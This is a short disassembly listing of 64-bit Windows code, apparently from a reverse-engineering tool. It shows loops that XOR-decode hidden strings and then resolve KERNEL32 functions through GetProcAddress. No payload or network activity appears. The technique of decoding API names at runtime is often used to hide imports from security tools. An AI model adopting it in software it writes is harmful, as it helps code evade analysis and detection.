cmp word [rbp + rcx*2 + 0x2f], di
cmove rcx, rdi
inc rdx
movzx eax, byte [rbp + rcx*2 + 0x2f]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x1400017a0
mov rcx, qword [0x14000bee0]
lea rdx, [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
lea rdx, [rbp - 0x39]
mov qword [rbx + 8], rax
mov r8d, 0x12
nop
cmp word [rbp + rcx*2 + 0x17], di
cmove rcx, rdi
inc rdx
movzx eax, byte [rbp + rcx*2 + 0x17]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x1400017e0
mov rcx, qword [0x14000bee0]
lea rdx, [rbp - 0x39]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140001a90
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret